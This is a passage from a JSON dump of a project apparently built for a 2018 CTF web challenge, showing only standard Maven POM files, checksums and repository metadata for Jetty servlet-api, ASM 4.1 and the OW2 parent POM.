    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <groupId>org.mortbay.jetty</groupId>\n    <artifactId>jetty-parent</artifactId>\n    <version>7</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.mortbay.jetty</groupId>\n  <artifactId>servlet-api</artifactId>\n  <version>2.5-20081211</version>\n  <name>Servlet Specification API</name>\n  <description>Servlet Specification API</description>\n  <packaging>jar</packaging>\n  <scm>\n    <connection>scm:svn:http://svn.codehaus.org/jetty/servlet-api/tags/servlet-api-2.5-20081211</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/jetty/servlet-api/tags/servlet-api-2.5-20081211</developerConnection>\n    <url>scm:svn:https://svn.codehaus.org/jetty/servlet-api/tags/servlet-api-2.5-20081211</url>\n  </scm>\n  <build>\n    <defaultGoal>install</defaultGoal>\n    <plugins>\n      <plugin>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <configuration>\n          <source>1.4</source>\n          <target>1.4</target>\n          <verbose>false</verbose>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.felix</groupId>\n        <artifactId>maven-bundle-plugin</artifactId>\n        <extensions>true</extensions>\n        <executions>\n          <execution>\n            <goals>\n              <goal>manifest</goal>\n            </goals>\n            <configuration>\n              <instructions>\n              <Bundle-Version>2.5</Bundle-Version>\n              <Import-Package>!javax.servlet.*,*</Import-Package>\n              <Bundle-RequiredExecutionEnvironment>J2SE-1.4</Bundle-RequiredExecutionEnvironment>\n              <Implementation-Vendor>JCP</Implementation-Vendor>\n              <Specification-Version>2.5</Specification-Version>\n              </instructions>\n            </configuration>\n           </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <!--\n        Required for OSGI\n        -->\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-jar-plugin</artifactId>\n        <configuration>\n          <archive>               \n            <manifestFile>${project.build.outputDirectory}/META-INF/MANIFEST.MF</manifestFile>\n          </archive>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-release-plugin</artifactId>\n        <configuration>\n          <tagBase>https://svn.codehaus.org/jetty/servlet-api/tags</tagBase>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/mortbay/jetty/servlet-api/2.5-20081211/servlet-api-2.5-20081211.pom.sha1",
    "content": "9d00911feeddea2879d48ecf82ebc6da800c8995"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/ow2/asm/asm/4.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\nasm-4.1.jar>central=\nasm-4.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/ow2/asm/asm/4.1/asm-4.1.jar.sha1",
    "content": "ad568238ee36a820bd6c6806807e8a14ea34684d"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/ow2/asm/asm/4.1/asm-4.1.pom",
    "content": "<!--\n ! ASM: a very small and fast Java bytecode manipulation framework\n ! Copyright (c) 2000-2011 INRIA, France Telecom\n ! All rights reserved.\n !\n ! Redistribution and use in source and binary forms, with or without\n ! modification, are permitted provided that the following conditions\n ! are met:\n ! 1. Redistributions of source code must retain the above copyright\n !    notice, this list of conditions and the following disclaimer.\n ! 2. Redistributions in binary form must reproduce the above copyright\n !    notice, this list of conditions and the following disclaimer in the\n !    documentation and/or other materials provided with the distribution.\n ! 3. Neither the name of the copyright holders nor the names of its\n !    contributors may be used to endorse or promote products derived from\n !    this software without specific prior written permission.\n !\n ! THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n ! AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n ! IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n ! ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n ! LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n ! CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n ! SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n ! INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n ! CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n ! ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF\n ! THE POSSIBILITY OF SUCH DAMAGE.\n-->\n\n<project>\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <artifactId>asm-parent</artifactId>\n    <groupId>org.ow2.asm</groupId>\n    <version>4.1</version>\n  </parent>\n\n  <name>ASM Core</name>\n  <artifactId>asm</artifactId>\n  <packaging>jar</packaging>\n  \n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/ow2/asm/asm/4.1/asm-4.1.pom.sha1",
    "content": "14520f912710fa80079305bdcf8d52bd68764b60"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/ow2/asm/asm-analysis/4.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\nasm-analysis-4.1.jar>central=\nasm-analysis-4.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/ow2/asm/asm-analysis/4.1/asm-analysis-4.1.jar.sha1",
    "content": "73401033069e4714f57b60aeae02f97210aaa64e"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/ow2/asm/asm-analysis/4.1/asm-analysis-4.1.pom",
    "content": "<!--\n ! ASM: a very small and fast Java bytecode manipulation framework\n ! Copyright (c) 2000-2011 INRIA, France Telecom\n ! All rights reserved.\n !\n ! Redistribution and use in source and binary forms, with or without\n ! modification, are permitted provided that the following conditions\n ! are met:\n ! 1. Redistributions of source code must retain the above copyright\n !    notice, this list of conditions and the following disclaimer.\n ! 2. Redistributions in binary form must reproduce the above copyright\n !    notice, this list of conditions and the following disclaimer in the\n !    documentation and/or other materials provided with the distribution.\n ! 3. Neither the name of the copyright holders nor the names of its\n !    contributors may be used to endorse or promote products derived from\n !    this software without specific prior written permission.\n !\n ! THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n ! AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n ! IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n ! ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n ! LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n ! CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n ! SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n ! INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n ! CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n ! ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF\n ! THE POSSIBILITY OF SUCH DAMAGE.\n-->\n\n<project>\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <artifactId>asm-parent</artifactId>\n    <groupId>org.ow2.asm</groupId>\n    <version>4.1</version>\n  </parent>\n\n  <name>ASM Analysis</name>\n  <artifactId>asm-analysis</artifactId>\n  <packaging>jar</packaging>\n  \n  <dependencies>\n    <dependency>\n      <artifactId>asm-tree</artifactId>\n      <groupId>org.ow2.asm</groupId>\n    </dependency>\n  </dependencies>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/ow2/asm/asm-analysis/4.1/asm-analysis-4.1.pom.sha1",
    "content": "f7cedc768009052d59522f8f4976843b84f2c37f"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/ow2/asm/asm-parent/4.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:00:58 CST 2018\nasm-parent-4.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/ow2/asm/asm-parent/4.1/asm-parent-4.1.pom",
    "content": "<!--\n ! ASM: a very small and fast Java bytecode manipulation framework\n ! Copyright (c) 2000-2011 INRIA, France Telecom\n ! All rights reserved.\n !\n ! Redistribution and use in source and binary forms, with or without\n ! modification, are permitted provided that the following conditions\n ! are met:\n ! 1. Redistributions of source code must retain the above copyright\n !    notice, this list of conditions and the following disclaimer.\n ! 2. Redistributions in binary form must reproduce the above copyright\n !    notice, this list of conditions and the following disclaimer in the\n !    documentation and/or other materials provided with the distribution.\n ! 3. Neither the name of the copyright holders nor the names of its\n !    contributors may be used to endorse or promote products derived from\n !    this software without specific prior written permission.\n !\n ! THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n ! AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n ! IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n ! ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n ! LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n ! CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n ! SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n ! INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n ! CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n ! ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF\n ! THE POSSIBILITY OF SUCH DAMAGE.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n    xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n    xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0\n                        http://maven.apache.org/maven-v4_0_0.xsd\">\n\n  <parent>\n    <artifactId>ow2</artifactId>\n    <groupId>org.ow2</groupId>\n    <version>1.3</version>\n  </parent>\n \n  <modelVersion>4.0.0</modelVersion>\n\n  <artifactId>asm-parent</artifactId>\n  <groupId>org.ow2.asm</groupId>\n  <version>4.1</version>\n  <packaging>pom</packaging>\n\n  <name>ASM</name>\n  <description>A very small and fast Java bytecode manipulation framework</description>\n  <url>http://asm.objectweb.org/</url>\n  \n  <organization>\n    <name>ObjectWeb</name>\n    <url>http://www.objectweb.org/</url>\n  </organization>\n  <inceptionYear>2000</inceptionYear>\n  \n  <licenses>\n    <license>\n      <name>BSD</name>\n      <url>http://asm.objectweb.org/license.html</url>\n    </license>\n  </licenses>\n\n  <developers>\n    <developer>\n      <name>Eric Bruneton</name>\n      <id>ebruneton</id>\n      <email>ebruneton@free.fr</email>\n      <roles>\n        <role>Creator</role>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Eugene Kuleshov</name>\n      <id>eu</id>\n      <email>eu@javatx.org</email>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Remi Forax</name>\n      <id>forax</id>\n      <email>forax@univ-mlv.fr</email>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n  </developers>\n\n  <scm>\n    <connection>scm:svn:svn://svn.forge.objectweb.org/svnroot/asm/trunk</connection>\n    <developerConnection>scm:svn:svn+ssh://${maven.username}@svn.forge.objectweb.org/svnroot/asm/trunk</developerConnection>\n    <url>http://svn.forge.objectweb.org/cgi-bin/viewcvs.cgi/asm/trunk/</url>\n  </scm>\n  \n  <issueManagement>\n    <url>http://forge.objectweb.org/tracker/?group_id=23</url>\n  </issueManagement>\n\n  <dependencyManagement>\n    <dependencies>\n\n      <dependency>\n        <artifactId>asm</artifactId>\n        <groupId>${project.groupId}</groupId>\n        <version>${project.version}</version>\n      </dependency>\n\n      <dependency>\n        <artifactId>asm-tree</artifactId>\n        <groupId>${project.groupId}</groupId>\n        <version>${project.version}</version>\n      </dependency>\n\n      <dependency>\n        <artifactId>asm-analysis</artifactId>\n        <groupId>${project.groupId}</groupId>\n        <version>${project.version}</version>\n      </dependency>\n\n      <dependency>\n        <artifactId>asm-commons</artifactId>\n        <groupId>${project.groupId}</groupId>\n        <version>${project.version}</version>\n      </dependency>\n\n      <dependency>\n        <artifactId>asm-util</artifactId>\n        <groupId>${project.groupId}</groupId>\n        <version>${project.version}</version>\n      </dependency>\n\n      <dependency>\n        <artifactId>asm-xml</artifactId>\n        <groupId>${project.groupId}</groupId>\n        <version>${project.version}</version>\n      </dependency>\n\n    </dependencies>\n  </dependencyManagement>\n\n  <mailingLists>\n    <mailingList>\n      <name>ASM Users List</name>\n      <subscribe>sympa@objectweb.org?subject=subscribe%20asm</subscribe>\n      <unsubscribe>sympa@objectweb.org?subject=unsubscribe%20asm</unsubscribe>\n      <post>asm@objectweb.org</post>\n      <archive>http://www.objectweb.org/wws/arc/asm</archive>\n    </mailingList>\n    <mailingList>\n      <name>ASM Team List</name>\n      <subscribe>sympa@objectweb.org?subject=subscribe%20asm-team</subscribe>\n      <unsubscribe>sympa@objectweb.org?subject=unsubscribe%20asm-team</unsubscribe>\n      <post>asm-team@objectweb.org</post>\n      <archive>http://www.objectweb.org/wws/arc/asm-team</archive>\n    </mailingList>\n  </mailingLists>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/ow2/asm/asm-parent/4.1/asm-parent-4.1.pom.sha1",
    "content": "2c518e0ccd064f01881bc16aec2c14d429f320ef"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/ow2/asm/asm-tree/4.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\nasm-tree-4.1.jar>central=\nasm-tree-4.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/ow2/asm/asm-tree/4.1/asm-tree-4.1.jar.sha1",
    "content": "51085abcc4cb6c6e1cb5551e6f999eb8e31c5b2d"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/ow2/asm/asm-tree/4.1/asm-tree-4.1.pom",
    "content": "<!--\n ! ASM: a very small and fast Java bytecode manipulation framework\n ! Copyright (c) 2000-2011 INRIA, France Telecom\n ! All rights reserved.\n !\n ! Redistribution and use in source and binary forms, with or without\n ! modification, are permitted provided that the following conditions\n ! are met:\n ! 1. Redistributions of source code must retain the above copyright\n !    notice, this list of conditions and the following disclaimer.\n ! 2. Redistributions in binary form must reproduce the above copyright\n !    notice, this list of conditions and the following disclaimer in the\n !    documentation and/or other materials provided with the distribution.\n ! 3. Neither the name of the copyright holders nor the names of its\n !    contributors may be used to endorse or promote products derived from\n !    this software without specific prior written permission.\n !\n ! THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n ! AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n ! IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n ! ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n ! LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n ! CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n ! SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n ! INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n ! CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n ! ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF\n ! THE POSSIBILITY OF SUCH DAMAGE.\n-->\n\n<project>\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <artifactId>asm-parent</artifactId>\n    <groupId>org.ow2.asm</groupId>\n    <version>4.1</version>\n  </parent>\n\n  <name>ASM Tree</name>\n  <artifactId>asm-tree</artifactId>\n  <packaging>jar</packaging>\n  \n  <dependencies>\n    <dependency>\n      <artifactId>asm</artifactId>\n      <groupId>org.ow2.asm</groupId>\n    </dependency>\n  </dependencies>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/ow2/asm/asm-tree/4.1/asm-tree-4.1.pom.sha1",
    "content": "0049fb36ce611fbfb1d11f998022bc697411aca1"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/ow2/asm/asm-util/4.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\nasm-util-4.1.jar>central=\nasm-util-4.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/ow2/asm/asm-util/4.1/asm-util-4.1.jar.sha1",
    "content": "6344065cb0f94e2b930a95e6656e040ebc11df08"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/ow2/asm/asm-util/4.1/asm-util-4.1.pom",
    "content": "<!--\n ! ASM: a very small and fast Java bytecode manipulation framework\n ! Copyright (c) 2000-2011 INRIA, France Telecom\n ! All rights reserved.\n !\n ! Redistribution and use in source and binary forms, with or without\n ! modification, are permitted provided that the following conditions\n ! are met:\n ! 1. Redistributions of source code must retain the above copyright\n !    notice, this list of conditions and the following disclaimer.\n ! 2. Redistributions in binary form must reproduce the above copyright\n !    notice, this list of conditions and the following disclaimer in the\n !    documentation and/or other materials provided with the distribution.\n ! 3. Neither the name of the copyright holders nor the names of its\n !    contributors may be used to endorse or promote products derived from\n !    this software without specific prior written permission.\n !\n ! THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n ! AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n ! IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n ! ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n ! LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n ! CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n ! SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n ! INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n ! CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n ! ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF\n ! THE POSSIBILITY OF SUCH DAMAGE.\n-->\n\n<project>\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <artifactId>asm-parent</artifactId>\n    <groupId>org.ow2.asm</groupId>\n    <version>4.1</version>\n  </parent>\n\n  <name>ASM Util</name>\n  <artifactId>asm-util</artifactId>\n  <packaging>jar</packaging>\n  \n  <dependencies>\n    <dependency>\n      <artifactId>asm-tree</artifactId>\n      <groupId>org.ow2.asm</groupId>\n    </dependency>\n  </dependencies>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/ow2/asm/asm-util/4.1/asm-util-4.1.pom.sha1",
    "content": "4354806dc63ac686ae4cec20192d437e9701dfb5"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/ow2/ow2/1.3/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:00:58 CST 2018\now2-1.3.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/ow2/ow2/1.3/ow2-1.3.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\n  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n  - OW2 Consortium\n  - Copyright (C) 2007-2011 Bull S.A.S.\n  - Contact: technology-coucil@ow2.org\n  -\n  - This library is free software; you can redistribute it and/or\n  - modify it under the terms of the GNU Lesser General Public\n  - License as published by the Free Software Foundation; either\n  - version 2.1 of the License, or any later version.\n  -\n  - This library is distributed in the hope that it will be useful,\n  - but WITHOUT ANY WARRANTY; without even the implied warranty of\n  - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n  - Lesser General Public License for more details.\n  -\n  - You should have received a copy of the GNU Lesser General Public\n  - License along with this library; if not, write to the Free Software\n  - Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307\n  - USA\n  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n-->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <groupId>org.ow2</groupId>\n  <artifactId>ow2</artifactId>\n  <version>1.3</version>\n  <packaging>pom</packaging>\n\n  <name>OW2 Consortium</name>\n  <description>\n    The OW2 Consortium is an open source community committed to making available to everyone\n    the best and most reliable middleware technology, including generic enterprise applications\n    and cloud computing technologies. The mission of the OW2 Consortium is to\n      i) develop open source code for middleware, generic enterprise applications and cloud computing and\n      ii) to foster a vibrant community and business ecosystem.\n  </description>\n\n  <!-- License of this POM -->\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n\n  <!-- Consortium description -->\n  <organization>\n    <name>OW2 Consortium</name>\n    <url>http://www.ow2.org</url>\n  </organization>\n\n  <!-- TODO Needs to be changed in the future\n       with a reference to a page explaining how to do releases -->\n  <url>http://www.ow2.org</url>\n\n  <!-- Who worked on this project ? -->\n  <developers>\n    <developer>\n      <id>sauthieg</id>\n      <name>Guillaume Sauthier</name>\n      <email>guillaume.sauthier@ow2.org</email>\n    </developer>\n  </developers>\n\n  <properties>\n    <!-- OW2 Logo can be referred using the '${organization.logo}' property -->\n    <organization.logo>\n      http://www.ow2.org/xwiki/bin/download/NewsEvents/MarketingResources/ow2_logo_small_transp.png\n    </organization.logo>\n    <!-- Avoid the annoying warning -->\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\n    <!-- Use properties so they could be overridden if needed -->\n    <ow2DistMgmtSnapshotsUrl>http://repository.ow2.org/nexus/content/repositories/snapshots</ow2DistMgmtSnapshotsUrl>\n    <ow2DistMgmtReleasesUrl>http://repository.ow2.org/nexus/service/local/staging/deploy/maven2</ow2DistMgmtReleasesUrl>\n  </properties>\n\n  <!-- Source Code Management -->\n  <scm>\n    <connection>scm:git:git@gitorious.ow2.org:ow2/pom.git</connection>\n    <developerConnection>scm:git:git@gitorious.ow2.org:ow2/pom.git</developerConnection>\n    <url>http://gitorious.ow2.org/ow2/pom</url>\n  </scm>\n\n  <!-- Distribution -->\n  <distributionManagement>\n\n    <!-- Site omitted - each project must provide their own -->\n\n    <!-- Release Repository (with staging):\n         Refer to this server in your settings.xml using the 'ow2.release' ID -->\n    <repository>\n      <id>ow2.release</id>\n      <name>OW2 Maven Releases Repository</name>\n      <url>http://repository.ow2.org/nexus/service/local/staging/deploy/maven2</url>\n    </repository>\n\n    <!-- Snapshots Repository:\n         Refer to this server in your settings.xml using the 'ow2.snapshot' ID -->\n    <snapshotRepository>\n      <id>ow2.snapshot</id>\n      <name>OW2 Maven Snapshots Repository</name>\n      <url>${ow2DistMgmtSnapshotsUrl}</url>\n    </snapshotRepository>\n  </distributionManagement>\n\n  <!-- ============================================================================================\n     - TODO Remove the snapshots repositories from the super pom\n     - Explanation:\n     -  http://www.sonatype.com/people/2010/03/why-external-repos-are-being-phased-out-of-central/\n     ============================================================================================ -->\n\n  <!-- Plugin Repositories -->\n  <!-- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n    - Used to search plugins, plugins dependencies and build extensions\n    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -->\n  <pluginRepositories>\n\n    <!-- Only list the snapshot repository here since the\n         main repository is synchronized to central -->\n    <pluginRepository>\n      <id>ow2-plugin-snapshot</id>\n      <name>OW2 Snapshot Plugin Repository</name>\n      <url>http://repository.ow2.org/nexus/content/repositories/snapshots</url>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n    </pluginRepository>\n\n  </pluginRepositories>\n\n  <!-- Repositories -->\n  <repositories>\n\n    <!-- Only list the snapshot repository here since the\n         main repository is synchronized to central -->\n    <repository>\n      <id>ow2-snapshot</id>\n      <name>OW2 Snapshot Repository</name>\n      <url>http://repository.ow2.org/nexus/content/repositories/snapshots</url>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n    </repository>\n  </repositories>\n\n  <build>\n    <plugins>\n\n      <!-- Enforce Maven version usage: excludes some that are known with defects -->\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-enforcer-plugin</artifactId>\n        <version>1.0-beta-1</version>\n        <executions>\n          <execution>\n            <id>enforce-maven</id>\n            <goals>\n              <goal>enforce</goal>\n            </goals>\n            <configuration>\n              <rules>\n                <requireMavenVersion>\n                  <version>(,2.1.0),(2.1.0,2.2.0),(2.2.0,)</version>\n                  <message>Maven 2.1.0 and 2.2.0 produce incorrect GPG signatures and checksums respectively.</message>\n                </requireMavenVersion>\n              </rules>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n\n    <pluginManagement>\n      <plugins>\n        <!-- Default configuration of the maven-release-plugin:\n             * 'release' profile not used\n             * use 'ow2-release' profile\n           -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.1</version>\n          <configuration>\n            <mavenExecutorId>forked-path</mavenExecutorId>\n\n            <!-- Do not use the default release profile, use our own instead -->\n            <useReleaseProfile>false</useReleaseProfile>\n\n            <!-- Our own release profile -->\n            <arguments>-Pow2-release</arguments>\n          </configuration>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n\n  </build>\n\n  <profiles>\n    <profile>\n\n      <id>ow2-release</id>\n      <build>\n        <plugins>\n          <!-- - - - - - - - - - - - - - - - - - - - - -->\n          <!--  Attach the sources to the project      -->\n          <!-- - - - - - - - - - - - - - - - - - - - - -->\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-source-plugin</artifactId>\n            <version>2.1.2</version>\n\n            <executions>\n              <execution>\n                <id>attach-sources</id>\n                <goals>\n                  <goal>jar-no-fork</goal>\n                </goals>\n              </execution>\n            </executions>\n\n          </plugin>\n\n          <!-- - - - - - - - - - - - - - - - - - - - - -->\n          <!--  Attach the javadoc to the project      -->\n          <!-- - - - - - - - - - - - - - - - - - - - - -->\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <version>2.7</version>\n            <executions>\n              <execution>\n\n                <id>attach-javadocs</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n\n            <!-- - - - - - - - - - - - - - - - - - - - - -->\n            <!--  Sign all the artifacts                 -->\n            <!-- - - - - - - - - - - - - - - - - - - - - -->\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <version>1.1</version>\n            <executions>\n              <execution>\n                <id>sign-artifacts</id>\n                <phase>verify</phase>\n\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n\n    </profile>\n  </profiles>\n\n\n</project>\n\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/ow2/ow2/1.3/ow2-1.3.pom.sha1",
    "content": "f679d6639bfb209b0836a5e7cf09bfbcc1a41f06"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/parboiled/parboiled-core/1.1.4/_remote.repositories",
